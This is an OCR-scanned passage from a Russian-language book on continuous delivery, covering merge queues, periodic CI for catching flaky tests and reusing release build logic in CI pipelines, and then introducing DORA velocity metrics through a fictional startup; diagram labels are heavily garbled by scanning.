3 .  Использовать очередь слияния. 

Для каждого из них выберите из следующего списка два самых характерных 
недостатка: 

А. Замедляет время слияния PR. 
В. Кто-то должен следить за результатами и нести за них ответственность. 
С. Приводит к тому, что для многих PR блокируется возможность слияния, 

пока авторы не разблокируют их. 
D. Допускает поломку главной ветки. 
Е. Сложно реализовать, если система контроля версий не поддерживает эту 

функцию. 
F. Долгий процесс, если разработчиков много. 

� Ответы 
1 .  Периодически запускать CI: лучше всего подходят варианты В и D. Кон 

фликты, возникшие между PR ,  при  периодическом запуске CI будут 
обнаружны уже после слияния с главной веткой. Если не следить за пе
риодическими запусками, они будут бесполезны. 

2 .  Требовать актуализации веток: лучше всего подходят варианты С и F. 
При каждом слиянии все остальные открытые PR блокируются до своего 
обновления. Если в проекте участвует всего несколько разработчиков, это 
не проблема, но в большой команде ожидание может быть утомительно. 

3 .  Использовать очередь слияния: лучше всего подходят варианты А и Е. 
Каждому PR потребуется запустить дополнительную CI перед слиянием, 
и,  возможно, ожидать своей очереди. Создать систему очереди слияния 
самостоятельно довольно сложно. 
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Где еще могут возникнуть баги? 
Команда CoinExCompare решает использовать очередь слияния, и с помощью GitHub 
сделать это довольно просто, нужно только добавить в правила защиты веток для 
главной ветки параметр - требование очереди слияния. 

Теперь, используя очередь слияния, удается ли разработчикам CoinExCompare 
успешно выявлять и устранять все места, где могут появиться баги? Посмотрим 
еще раз на временную шкалу изменений и на то, в какой момент могут появляться 
ошибки: 

Работа над изменением • Ошибки - могут появиться. 

локально; повторное '-----+- • Фпейки - также может быть добавлено недетермини
обновление изменения. рованное поведение, проявляющееся в виде флейков. • Расхождение - увеличивается со временем. 

Создание коммита � • Расхождение - увеличивается со временем. 
с изменением. 

Открытие PR с коммитом. 

• Ошибки - CI перед слиянием, запускаемая для РR
запросов, в системе CoinExCompare будет отлавливать 
ошибки, покрываемые тестами. � - Фпейки - могут быть выловлены, а могут быть и нет. • Расхождение - увеличивается со временем. 

Слияние коммита 
с главной веткой 

• Интеграция расхождений - теперь, когда система "-----. CoinExCompare использует очередь слияния, расхож
дения будут удаляться до слияния коммитов. 

удаленного репозитория. 

Сборка рабочего ........._ 
артефакта � 
С ЭТИМ КОММИТОМ. 

• Зт<�ост" - во •р<� <бор•и р•бочи> 'Р'<Ф�'ов � 
могут быть вытянуты зависимости, требующие изме
нений, которых не было при выполнении CI, вслед
ствие чего могут появиться новые баги. • Недетерминированные сборки - любые другие 
факторы, из-за которых в процессе сборки создаются 
разные рабочие артефакты, могут привести к появле
нию новых багов. 

Даже после введения очереди слияния остается несколько потенциальных источни
ков багов, которые команда CoinExCompare еще не устранила: 

• Расхождение с основной веткоt'r и интеrрация с ней (Устранено ! )  

• Изменения в зависимостях. 

• Недетерминированность: в коде и/или в тестах (то есть флейки) ,  и/или в способе 
сборки готовых артефактов. 
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Флейки и CI,  инициируемая пул-реквестом 
В rлаве 5 отмечалось, что флейки возникают, коrда тесты работают непоследова
тельно: иноrда проходят, а иноrда нет. Кроме тоrо, выяснилось, что это может быть 
связано как с проблемой в тесте, так и с проблемой в тестируемом коде, поэтому 
лучшая стратеrия - считать флейки баrами и полностью разбираться с ними. Но по
скольку флейки возникают не всеrда, их бывает трудно обнаружить! 

Сейчас система CoinExCompare запускает CI для каждоrо PR и перед слиянием 
PR. Именно в этом случае моrут проявиться флейки, но, будем честны, их часто 
иrнорируют. Трудно удержаться от соблазна просто запустить тесты заново, выпол
нить слияние и на этом успокоиться, особенно если кажется, что ваши изменения 
никак с этим не связаны. 

Есть ли более эффективный способ выявлять флейки и бороться с ними� Недав
но мы обсуждали периодическую CI и решили, что это не лучший способ борьбы 
со скрытыми конфликтами. Однако оказалось, что она отлично находит флейки. 
Представьте себе тест, который дает сбой только один раз на 500 запусков. 

DDDD DDDDDDDDDDDDDDDD DDDDDDDD DDDDDDDD DDDDDDDD DDDDDDDD DDDDDDDDDDDD 
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD D D D DDDDDDDDDDDDDDDD DDDDDDDDDDDD 
DDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDD DDDDDDDDDDDD 
DDDD DDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDD 
DDDD DDDDDD DDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDD DDDDDDDDDDDD 
DDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDD DDDDDDDDDDDD 
DDDD DDDDDDDD DDDDDD DD DDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDD DDDDDDDDDDDD 
DDDDDDDDDDDDDDDDDDDD DDDDDDDD DDDDDD DD DDD8DDDDDDDDDDDD DDDDDDDDDDDD 
DDDDDDDDDDDDDDDDDDDD DDDDDDDD DDDDDDDD DDDDDDDD DDDDDDDD DDDDDDDDDDDD 
DDDD DDDDDDDD DDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDD 

У разработчиков сайта CoinExCompare открыто около 20-25 PR в день. Предполо
жим, что CI запускается по крайней мере три раза для каждоrо PR: один раз в начале, 
друтой - для изменений и, наконец, последний раз в очереди слияния. Это означает, 
что каждый день появляется около 25 PR х 3 запуска = 75 рисков провалить тест. 

За 7 дней это 525 изменений, которые рискуют провалиться, так что этот тест, скорее 
всеrо, провалит один из этих PR. (А создатель PR, скорее всеrо, просто проиrнори
рует этот сбой и запустит CI снова ! )  
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Отлавл ивание флей ков периодическими 
тестами 
Имея для выявления флейков только тесты, основанные н а  запуске п о  P R  и очередях 
слияния, система CoinExCompare сможет воспроизвести флейк, который возникает 
один раз из 500, примерно один раз в 7 дней. И когда он возникнет, автор соответ
ствующего PR, скорее всего, просто перезапустит тесты и пойдет дальше. 

® ® ® ® ® ® ® ® ® ® ® ® ® ® ® ® ® ®® ® ® ® ® ® ® ® ® ® ® ® ® ® ® ® ® ®  
® ® ® ® ® ® ® ® ® ® ® ® ® ® ® ® ® ®® ® ® ® ® ® ® ® ® ® ® ® ® ® ® ® ® ®  
® ® ® ® ® ® ® ® ® ® ® ® ® ® ® ® ® ®® ® ® ® ® ® ® ® ® ® ® ® ® ® ® ® ® ® 
® ® ® ® ® ® ® ® ® ® ® ® ® ® ® ® ® ®® ® ® ® ® ® ® ® ® ® ® ® ® ® ® ® ® ®  
® ® ® ® ® ® ® ® ® ® ® ® ® ® ® ® ® ®® ® ® ® ® ® ® ® ® ® ® ® ®  
Может ли CoinExCompare облегчить воспроизведение флейков, а не полагаться на 
добросовестность разработчика? Недавно мы говорили о периодических тестах и о 
том, что это не лучший способ предотвратить появление конфликтов, но оказалось, что 
такие тесты отлично отлавливают флейки! Что, если в системе CoinExCompare настро
ить периодическую CI на запуск один раз в час? В день она сможет запускаться 24 раза. 

Flaky-тecт дает сбой в одном из 500 запусков, поэтому для воспроизведения сбоя 
понадобится 500 / 24 дня, или примерно 2 1  день. 

Подобные расчеты могут показаться не очень воодушевляющими, но суть в том, 
что если периодические тесты поймают сбой, они не помешают чьей-то работе, не 
связанной с этим флейком. Если существует определенный процесс обработки сбоев, 
выявленных с помощью периодической CI, то существует и больше шансов обрабо
тать и тщательно проанализировать флейк, чем если он обнаружится неожиданно 
и заблокирует чью-то работу, не имеющую к нему отношения. 

1 ' , 

' ,�� ВАЖНО 
Периодические тесты помогают выявлять и исправлять недетерминированное 
поведение в коде и тестах, не блокируя не связанную с этим работу. 
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Добавив очередь слияния и периодические тесты, компания CoinExCompare успеш
но устранила большинство потенциальных источников багов, но у багов все еще 
остались способы проникнуть в систему: 

• �ждемtrе с OCMOBMOPI веткоР-1 )( t1мтеrрацю1 с кеР'r (Устранено ! )  

• Изменения в зависимостях. 

• Недетерминированность: в коде t1/t1nt1 тестах (то есть флейкtr) (Устранено с по-
мощью периодических тестов ! )  и/или в способе сборки артефактов. 

Последние два источника багов связаны с про
цессом сборки .  В главе 9 будет описано,  как 
структурировать процесс сборки, чтобы из
бежать этих проблем, а пока вопрос:  как выяв
лять и исправлять баги, возникающие во вре
мя сборки, не меняя процесс создания образов 
в CoinExCompare?' Вспомним схему пайплайна: 

Запуск линтинга � 

Выполнение 
Выполнение 

юнит-тестов с:) интеграционных 
тестов 

Измерение покрытия 
l1 

юнит-тестами 

Последняя задача в пайплайне запускает системные 
тесты. Как и все они, эти тесты проверяют систему 
CoinExCompare в целом. Этим тестам нужно что-то, 
с чем можно работать, поэтому часть задачи должна 
включать настройку тестируемой системы (system 
under test, SUT).  Чтобы создать SUT, задача должна 
произвести сборку образов, используемых сайтом 
CoinExCompare. 

Баги, которые мы сейчас рассматриваем, про
никают в систему во время процесса создания об
разов - так можно ли их выявить системными 

Спойлер: лучший способ 
борьбы с багами, возни
кающими при изменениях 
в зависимостях, - всегда 
закреплять свои зависимо
сти. См. главу 9. 

с:) Выполнение 
системных тестов 

.Словарик 
Тестируемая систе
ма (system under test, 
SUT) - это система, 
которую тестируют для 
проверки того, что она 
работает правильно. 

тестами? Да, но проблема в том, что образы, построенные для системных тестов, 
не совпадают с образами, которые будут созданы и развернуты на продакшен. 
Процесс сборки этих образов будет проводиться позже, и тогда баги смогут снова 
проникнуть в систему. 
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Непрерывная интеграция л ибо сборка 
и развертывание 
В главе 2 м ы  рассматривали создание шлюзов и преобразований. 

Задачи, V1.ро6еряющие код, -
ЭWIO «щлюзо1» качесW16а, 
через коW1оро1е он должен 
V\pOtAW\и. 

Задачи , коW1оро1е изменЯЮWI форму 
кода, назо16аюW1сЯ V1.реооразобаниями : 
код мcW1yV1.aeW1 6 качесW16е 6ходно1х 
данно1х, а 601ходиW1 в другом виде. 

Система CoinExCompare разделяет задачи шлюзов и пре
образований на два пайплайна. Цель пайплайна, который 
мы рассматривали до сих пор, пайплайна CI, - проверка 
изменений кода (так называемое шлюзование изменений 
кода) .  Другой пайплайн в CoinExCompare используется 
для сборки и развертывания своего рабочего образа (так 
называемое преобразование исходного кода в запускае
мый контейнер) :  

Подробнее о реа
лизации пайплай
нов см. в главе 1 3 .  

Развертывание 

образа сервиса 
Сборка образа 

сервиса CoinExCompare 
Загрузка образа 

сервиса CoinExCompare 11, CoinExCompare j 
�----· 

В реальности грань между этими задачами может быть размыта. Если вам требуется 
уверенность в решениях, принимаемых задачами типа «шлюз» (CI), вам необходимо 
определенным образом «преобразовать» Cl. Такая ситуация часто возникает при 
проведении системных тестов, которые скрыто выполняют определенный объем 
сборки и развертывания. 
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Сборка и развертывание с использованием 
одинаковой логики 
Тестирование системы CoinExCompare включает следующие задачи: 

l .  Настройка среды для работы тестируемой системы. 

2 .  Сборка образа. 

3 .  Передача образа в локальный реестр. 

4. Запуск образа. 

5 .  И только потом запуск системных тестов на уже работающем контейнере. 

Однако - и довольно часто - логика, используемая этой системой, отличается от 
той, что применяется в пайплайне выпуска релиза для сборки и развертывания 
образов. Если бы она была одинаковой, задачи были бы те же, что и в пайплайне: 

Сборка образа 
сервиса CoinExCompare 

Загрузка образа �) 
сервиса CoinExCompare 

, 

Развертывание 
образа сервиса 
CoinExCompare 

�-----· � / 
По.ро.меW1.р111 среды вымлнения, V\редосW1.о.вляемые 
ЭWl.IAM зо.до.чо.м, MOZ!jWI. IAЗMeHUWl.tJ мecWl.O фo.KWl.IAЧecкo 
zo обновления и ро.зверW1.ыво.ния зо.до.ч, HO.V\puмep, но. 
рео.льныti. peecWi.p образов или но. временны;;. локо.ль 
ныi;i. peecW1.p. УV\ро.вление мвеоением зо.до.ч с ммощью 
V\O.po.MeWi.poв мзволяеW1. мвW1.орно 1АСV\ользово.W1.11 
Wl.!:1 же логику. 

Это означает, что баги могут появиться во время сборки и развертывания реальных 
образов, а именно: 

• Различия в зависимости от того, когда происходит сборка: например, во время 
системных тестов извлекается последняя версия зависимости, а при сборке ра
бочего образа вытягивается еще более новая версия. 

• Различия в зависимости от среды сборки: например, запуск сборки на другой 
версии базовой операционной системы. 

Чтобы минимизировать эти различия, команда CoinExCompare может сделать 
следующее: 

• периодически запускать задачи развертывания; 

• использовать те же задачи для сборки и развертывания при выполнении систем
ных тестов, что и для фактической сборки и развертывания. 
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Усовершенствованный пайплайн CI  
с процессом сборки 
Компания CoinExCompare обновила свой пайплайн CI, чтобы системные тесты 
использовали те же задачи,  что и для сборки и развертывания на продакшен. 
Обновленный пайплайн выглядит так: 

После У1рохожденцЯ IAHMezptЩIAOHHblX 

\ 
Запуск месмов сборка образа CoiV1ExCoмpare 1 линтинга � ц насмро!Ака среды для SUT моzум 

Задача с сцсмемнымц 
месмамц заV1ускаемся 
молоко V\Осле моzо, как SUT 
уже заV1ущена ц рабомаем 
со вновь созданнымц образа -
мц .  Эма задача меV1ерь 

----� У1роцсходцмь V1араллельно. 

! Выполнение 
юнит-тестов [ Выполнен ие 

� 
интеграционных 

тестов 
Настройка 

среды для SUT молько заV1ускаем \ 
с;, месмы. 

Измерение 
покрытия 

юнит-тестами Ь1 !"' 

Сборка образа - Загрузка образа 1 Развертывание 

1 

Выполнение 
. 
сервиса 

с:) 
сервиса 

с:) 
об�за сервиса 

с:) системных CoinExCompare CoiпExCompare Co1nExCompare тестов 

"'--- / /э

тесм�е�ы!А образ будем 
Те же задачц для сборкц , заzрузкц 1А развермыванця развернум в среде SUT V\ОСЛе 
рабочцх образов меV1ерь цсV1ользуюмся в V1а!Ама!Ане CI. ее насмро!Акц . 

Периодические тесты будут запускать этот пайплайн каж
дый час, а добавление в него сборки и развертывания оз
начает, что периодически запускаются и автоматические 
задачи развертывания. 

Помогло ли это устранить все потенциальные источ
ники багов? Вспомним еще раз, от каких ошибок пыта
лись избавиться разработчики: 

• Расхождемие с осмовмой веткой tr trмтеrрацил с мей 
• �менения в зависимостях j 

CoinExCompare не 
использует непре
рывное разверты
вание; подробнее 
о различных мето
дах развертывания 
см. в главе 1 О. 

• Недетерминированность: в коде tr/юш тестах ( ro есть фпейки) tr/trntr в спосQбеl 
сборки артефактов. _J 

Возможно, в системе еще остались баги каких-то из перечисленных видов. Но по
скольку пайплайн выпуска релиза теперь запускается в другое время и с другими 
параметрами, вероятность появления любого из этих багов стала значительно ниже: 

• Вероятность появления изменений в зависимостях сведена к минимуму, по
скольку сборка (и тестирование) образов теперь производится каждый час. Если 
изменение в зависимости вызывает ошибку, то теперь у нее есть всего около 
часа, чтобы успеть проскользнуть в код; кроме того, ее, скорее всего, отловит 
следующий запуск периодической CI. 

• Количество недетерминированных сборок сокращается, поскольку, используя 
одинаковые задачи для сборки образов при CI, мы сократили количество пере
менных, которые могут отличаться. 

(Подробнее о том, как полностью устранить эти риски, читайте в главе 9 . )  Книги для программистов: https://t.me/booksforits
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Еще раз о временной ш кале изменений 
Все ли «ошибкоопасные» места теперь выявлены? Ребята из CoinExCompare садятся 
за стол, чтобы в последний раз проанализировать, где может закрасться ошибка: 

Работа над изменением локально; 
повторное обновление изменения. 

Создание коммита с изменением. 

Открытие PR с коммитом. С/, Заl'\ускаемая на оснобе PR, 
..------ 6ь1я6цw. ощцбкц 6 цзмененно!А лоzцке. 

Исмльзобанце очередц слцянця мзболцw. 
Слияние коммита с главной веткой ow.лoбцw.IJ конфлцкw.ы, бознцкающце 
удаленного репозитория. 

� l'\ptA CЛtAЯHtAtA .  
Перцодцческце WIUWllJ/ 6ыя6яw. еще не обнаруженные 
цлц 1'\роцzнорцробанные фле!Акц. 
Сборка рабочего артефакта благодаря tАСl'\ОЛIJЗобанцю одцнакобо!А лоzцкц 
с этим коммитом. 6 1'\аuма!Ане С/ для сборкц ц разберw.ыбанця � ц 1'\рц созданцц рабочцх арw.ефакw.06, 

а w.акже 1'\ерцодцческому заl'\уску эw.о!А С/ 
берояw.носw.ь мябленця баzоб цз -за нарущенця 
забцсцмосw.е!А цлц недеw.ермцнцробанносw.ц 
элеменw.06 сборкц значцw.ельно снцжаеw.ся. 

Команда CoinExCompare успешно устранила места (или, по крайней мере, миними
зировала их количество) ,  где могут появиться баги, сделав следующее: 

• продолжив использовать существующую CI, инициируемую на основе PR; 

• добавив очередь слияния; 

• начав запускать CI периодически; 

• обновив пайплайны CI, чтобы они использовали ту же логику для сборки и раз
вертывания, что и пайплайны выпуска рабочих релизов. 

После внедрения этих функций разработчики CoinExCompare с радостью отметили, 
что количество ошибок и сбоев значительно сократилось. 

Артефакты периодической С1 как кандидаты на выпуск релиза 

Риск возникновения багов из последних двух источников был только смягчен, 
но не устранен. Самое простое и быстрое решение в этом случае - начать счи
тать артефакты периодической CI кандидатами на релиз и выпускать эти образы 
как есть, без изменений, то есть больше не запускать отдельный пайплайн для 
повторной сборки перед релизом. 
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� Ваш ход: определите, что упущено 
Для каждой из следующих настроек запуска укажите баги, которые могут воз
никнуть, и отметьте любые очевидные недостатки этого подхода (считайте, 
что других запусков CI нет): 

1 .  Периодический запуск CI. 

2 .  Запуск CI после слияния с главной веткой. 

3 .  Запуск Cl, инициируемый PR. 

4. Запуск Cl, инициируемый PR, с использованием очередей слияния. 

5 .  Запуск CI как части рабочего пайплайна сборки и развертывания. 

� Ответы 
1 .  Периодическая CI может самостоятельно отлавливать ошибки, а иногда 

и флейки; однако она будет это делать, только если они уже попали в главную 
ветку. Чтобы периодическая CI работала эффективно, кто-то должен регу
лярно за ней следить и сортировать возникающие ошибки по их источникам. 

2. Запуск после слияния с главной веткой будет отлавливать ошибки, но 
только если они уже попали в главную ветку. Поскольку запуск проис
ходит сразу после слияния, определить ответственного за изменения 
будет проще, однако, скорее всего, любые обнаруженные флейки будут 
проигнорированы. Кроме того, придется соблюдать принцип «Не сливать 
изменения в главную ветку, когда CI не работает», иначе ошибки будут 
наслаиваться друг на друга и разрастаться. 

3. CI, инициируемая на основе PR, достаточно эффективна, но будет про
пускать конфликты, возникающие между PR. Выявленные флейки, скорее 
всего, будут проигнорированы. 

4. Добавление очереди слияния к CI, инициируемой на основе PR, устранит 
конфликты между PR, но флейки, скорее всего, все равно будут проигно
рированы. 

5 .  Запуск CI как части пайплайна выпуска рабочего продукта гарантирует, 
что ошибки, вызванные обновленными зависимостями (и некоторыми 
недетерминированными элементами) ,  будут обнаружены до релиза, но 
отслеживание этих ошибок прервет процесс выпуска. Если возможности 
быстро исправить эти ошибки нет, а при перезапуске они исчезают, то, 
скорее всего, они будут проигнорированы. 
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Разработчики CoinExCompare полагали, что запуска CI, инициируемой каждым PR, 
достаточно, чтобы всегда получать сигнал об ошибке, вызванной изменением. Одна
ко на практике оказалось, что при таком подходе отловить все ошибки невозможно. 
Но благодаря использованию очередей слияния, добавлению периодических тестов 
и такой модернизации CI, чтобы она использовала ту же логику, что и пайплайны 
выпуска релиза, они могут обнаруживать практически все баги ! 

Итоги 
• Баги могут возникать как часть самих изменений, как конфликты между измене

ниями и как расхождения с главной веткой, а также как часть процесса сборки. 

• Очереди слияния - эффективный способ предотвратить возникновение из
менений,  вызывающих конфликты между пул-реквестами. Если эта функция 
не предусмотрена в системе контроля версий, небольшие команды могут ис
пользовать требование обновления веток. Периодические тесты также могут 
оказаться эффективными (хотя это не позволит избежать возможных поломок 
главной ветки) .  

• Периодические тесты стоит добавлять в любом случае, так как они способны вы
являть флейки, не прерывая не связанные с этими флейками PR, но для их успеш
ной работы потребуется наладить соответствующий процесс отслеживания. 

• Организация процессов сборки и развертывания в пайплайнах CI таким же об
разом, как и в рабочих релизах, позволит снизить количество ошибок, которые 
могут появиться между запусками CI и пайплайнов выпуска. 

Далее . . .  
В следующей главе мы перейдем к рассмотрению особенностей пайплайнов непре
рывной доставки, которые выходят за рамки CI :  задач преобразования, исполь
зуемых для сборки и развертывания кода. Мы подробно разберем эффективные 
способы контроля версий, которые помогут сглаживать процессы непрерывной 
доставки, а также узнаем, как измерить эту эффективность. 
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Часть 3 
Сделаем п роцесс 

доста вки п роще 

•••••••••••••••••••••••••••••••••••••••• • 

Теперь, когда вы понимаете, как поддерживать продукт в состоянии готовности 
к доставке, мы перейдем от верификации изменений в продукте к его выпуску. 

В главе 8 мы еще раз рассмотрим систему контроля версий. Через призму метрик 
DORA вы увидите, что способ использования этой системы влияет на скорость вы
пуска релизов. 

В главе 9 рассказывается, как безопасно создавать артефакты, применяя прин
ципы, определенные стандартом SLSA, и объясняется важность версионирования. 

В главе 10 мы вернемся к метрикам DORA, сосредоточившись на тех из них, что 
связаны со стабильностью, и рассмотрим различные методологии развертывания, 
которые можно использовать для повышения стабильности программного продукта . 

• • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • 
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• •••••••••••••••••••••••••••••••••••••••• 

В этой главе 

./ Испол ьзование метрик DORA, измеряющих скорость: 

частота развертывания и время доставки изменений 

./ Повышение скорости и усиление взаимодействия за 

счет отказа от долгоживущих веток функций и заморо

зок кода 

./ Сокращение времени доставки изменений за счет 

использования небольших и частых коммитов 

./ Безопасное увеличение частоты развертывания 

за счет использования небольших частых коммитов 

••••••••••••••••••••••••••••••••••••••••••••••••••••••••••• 

В предыдущих главах основное внимание уделялось непрерывной интеграции (CI) ,  
но начиная с этой главы, мы обратимся к остальным элементам пайплайна непре
рывной доставки (CD), в частности к задачам преобразования, которые использу
ются для сборки, развертывания и выпуска кода. 

Применение правильных методик CI оказывает непосредственное влияние и на 
остальную часть процесса CD. В этой главе мы подробно остановимся на эффек
тивных подходах к контролю версий, позволяющих наладить бесперебойную CD, 
а также на том, как измерять эту эффективность. 
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Тем временем на сайте Watch Ме Watch 
Помните стартап Watch Ме Watch из главы 3?  Так вот, он по-прежнему работает 
и даже растет! За последние два года компания выросла, и теперь в ней не только 
Саша и Сара, а более 50 сотрудников. 

С самого начала компания Watch Ме Watch вкладывала средства в автоматизацию 
развертываний. Но по мере роста компании разработчиков стало беспокоить, что эти 
развертывания становятся все более рискованными, поэтому они снизили их частоту. 

Каждый из сервисов теперь выпускается только в определенное время, один раз 
в 2 месяца. За неделю до релиза код замораживается, и изменения в него не вносятся. 

Cep61Act:J1 API, ммзобателе!А 
1А cmp1AMIAHZ06ou IAHW\eгpaЦIAIA 
6t:Jtl'\ycкaюmcя кажд1:J1е 2 месяца \ . 
меле неделt:Jной заморозкtА кода . + 

{ Сервис 

r=l nользо: �j"'-_J /7 � 

Мобильное 
приложение 

АРl-сервис 

Сервис 
стриминговой -? 

интеграции  

Несмотря на эти нововведения, кажется, что проблема только усугубляется : каж
дое развертывание по-прежнему сопряжено с огромным риском, и что еще хуже, 
функции слишком долго запускаются на продакшен. С тех пор как Саша и Сара 
начали работу над своим первоначальным замыслом, у них появились конкуренты, 
и, учитывая медленный темп выпуска функций, похоже, что конкуренты вырывают
ся вперед! Создается впечатление, что любое действие выполняется все медленнее 
и медленнее. 
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Метрики DORA 
Саша и Сара в тупике, но у нового сотрудника Сэнди есть несколько идей о том, что 
можно изменить. Однажды Сэнди встречает Сашу в коридоре. 

Прцбеw., Саша'  Избцнц ,  
еслц я лезу не в сбое дело; 
я слышал, как W.PI гоборцл 

о V1роблеме с разберw.ыбанцем. 
_ _...�--

Пока они стоят в коридоре и Сэнди рассказывает про метрики DORA (htt.ps ://www. 
devops-research .com/research . html ) ,  Саша понимает, что команде пригодятся знания 
Сэнди, и просит его провести презентацию для всей компании. Сэнди с удоволь
ствием готовит несколько слайдов и быстро знакомит всех с метриками DORA: · - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ·  ' ' ' ' История создания метрик 

DORA 
Команда DevOps Research and 
Assessment (DORA) создала 

метрики DORA на основе почти 
десяти лет исследований. ' ' . - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - . 

Метрики DORA для скорости 
Скорость оценивается 

по двум метрикам: 

• Частота развертывания 

• Время доставки изменений 

Что такое метрики DORA? 
Метрики DORA - это четыре 
ключевых показателя, которые 

измеряют эффективность команды 
разработчиков. ' ' . - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - . 

' 
Метрики DORA для стабильности 

Стабильность оценивается 
по двум метрикам: 

• Время восстановления работо
способности сервиса 

• Частота сбоев при изменениях . - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - . . - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - . 
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Метрики скорости для Watch Ме Watch 
После презентации метрик DORA Сэнди продолжил 
обсуждать с Сарой и Сашей, как эти метрики могут 
помочь в решении проблем Watch Ме Watch, связанных 
с замедлением работы. Сэнди предлагает сосредото
читься на двух метриках скорости и измерить их для 
Watch Ме Watch. r - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ,  ' ' ' Метрики DORA для скорости 

Скорость оценивается 
по двум метрикам: 

• Частота развертывания 

• Время доставки изменений 

Чтобы начать применять метрики, Сэнди необходимо 
изучить их немного подробнее: 

• Частота развертывания показывает, как часто 
компания успешно выпускает релизы в рабочую 
среду. 

• Время доставки изменений определяет количество 
времени, которое требуется, чтобы коммит попал 
на продакшен. 

В компании Watch Ме Watch развертывания могут 
происходить только так, как предусмотрено графиком 
развертывания, то есть один раз в 2 месяца. Таким 
образом, для Watch Ме Watch частота развертывания 
составляет один раз в 2 месяца. 

Интересно узнать 
о двух других ме
триках DORA (для 
стабильности) ?  Более 
подробно о них мы 
поговорим в главе 1 О, 

при обсуждении раз
вертывания. 

Под рабочей средой, 
или продакшен, по
нимается среда, в ко
торой программный 
продукт становится 
доступен клиентам 
(в отличие от проме
жуточных сред, ко
торые могут исполь
зоваться для других 
целей, например для 
тестирования) .  Более 
подробное определе
ние см. в главе 7. 
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� Что делать, если у меня не сервис? 
Если вы работаете над проектом, который не размещается и не запускается 
как сервис (более подробно о видах программных продуктов, которые мож
но поставлять, в том числе библиотеках, двоичных файлах, конфигурациях, 
образах и сервисах, см. в главе 1 ), вам может быть интересно, применимы ли 
к вашему случаю DОRА-метрики. 

Метрики DORA были изначально определены для работающих сервисов. 
Тем не менее эти принципы подходят и в других случаях, но с небольшой 
переработкой. Метрики скорости можно применять к другим продуктам 
(например, библиотекам и двоичным файлам) следующим образом: 

Частота развертывания становится частотой выпуска. Чтобы соответ
ствовать определениям, данным в главе 1 (публикация, развертывание, 
релиз) ,  назовем эту метрику частотой релизов, что лучше отражает ее 
смысл: как часто изменения становятся доступными для пользователей, 
то есть выпускаются? (И еще вспомните из главы 1, что развертывание 
иногда более правильно называть релизом: когда мы говорим о непре
рывном развертывании, на самом деле мы говорим о непрерывном ре
лизе.) Размещение и запуск продукта как сервиса осуществляются путем 
развертывания изменений в продакшен и обеспечения доступа к ним 
пользователей, но если вы работаете над другим продуктом, например 
библиотекой или двоичными файлами, его запуск будет представлять 
собой выпуск новых релизов. 
Время доставки изменений остается тем же, но это не то время, которое 
требуется коммиту, чтобы попасть на продакшен, а время, за которое 
коммит попадает к пользователям. Например, в случае с библиотеками 
это будут пользователи ,  применяющие библиотеки в своих проектах. 
Сколько времени проходит между созданием коммита и моментом, когда 
его содержимое становится доступным для использования в выпущенной 
версии библиотеки? 

Возникает вопрос, одинаково ли применимы значения наилучших, высоких, 
средних и низких показателей этих метрик для продуктов, работающих как 
сервис, и продуктов, распространяемых в виде библиотек и двоичных файлов. 
Ответа мы не знаем, однако принцип остается прежним: чем чаще изменения 
передаются пользователям,  тем ниже риск ошибок при каждом релизе. 
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Время доставки изменени й 
Чтобы измерить время доставки изменений, Сэнди нужно разобраться в процессе 
разработки Watch Ме Watch. Большинство функций создается в ветке функций, и эта 
ветка сливается обратно в главную по окончании работы. Некоторые функции можно 
реализовать всего за неделю, для большинства требуется минимум несколько недель. 
Вот как выглядит этот процесс для двух недавно разработанных функций, которые 
создавались в Feature Branch 1 (Ветка функции 1) и Feature Branch 2 (Ветка функции 2) :  

2� аnреля 1-S мая 
Создана Создана 
Feature Feature 
IЗranci-1 1.. 13ranck 2 

r � r � 

1..0 IАЮНЯ 
произ6едено 

СЛIАЯН!Ае 
Feature 
13ranck 1.. 

� т 

Feo.tцre 13ro.l'\cl-\ 2 зо.берщено. 
6 1'\tрцод зо.морозкц кодо., мэмому ( ее не6оЗМОЖНО CЛIAW\b, 1'\ОКО. l'\tp1AOO 
не ОКОНЧ/АW\СЯ. 

2q IАЮНЯ 
Feature 

13ranc/.\ 2 
за6ершена 

2q IАЮНЯ 
произ6едено 

СЛIАЯН!Ае 
Feature 13ranck 2 

.-с==:::: т т 
23 аnреля 1.. мая 23 IАЮНЯ 1.. IАЮЛЯ 24 a6zycw.a 1.. сенw.ября 
Заморозка Окно Заморозка Окно 

кода раз6ерw.1:>16ания кода раз6ерw.ы6ания 
Заморозка Окно 

кода раз6ерw.ы6ания 

Изменения из Feature 13ranck 1.. J 
раз6ерw.1:>16аюw.ся 6 следующем 
окне, через 20 дней меле tt 
за6ершения. 

Feature 13ranck 2 оконча - ) 
w.еЛt>но раз6ерw.1:>16аеw.ся 
6 следующем окне, через 
2 месяца меле tt за6ершения. 

Время доставки изменений в Feature Branch 1 составило 20 дней. Несмотря на то 
что Feature Branch 2 была завершена перед самым открытием окна развертывания, 
это произошло в период заморозки кода, поэтому ее было невозможно слить, что 
отложило развертывание до следующего окна, открывшегося 2 месяца спустя. Таким 
образом, время доставки изменений для Feature Branch 2 составило 2 месяца, или 
около 60 дней. Проанализировав все функции и ветки функций за последний год, 
Сэнди выяснил, что среднее время доставки изменений составляет около 45 дней . 

• Словарик 
Ветвление функции (feature branching) - это стратегия ветвления, согласно 
которой в начале разработки новой функции создается новая ветка (называемая 
веткой функции) .  Разработка функции в этой отдельной ветке продолжается до 
тех пор, пока функция не будет завершена, после чего она сливается с главной 
веткой. Подробнее об этом вы узнаете немного позже. 
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Са йт Watch Ме Watch и наилуч ш ие показател и 
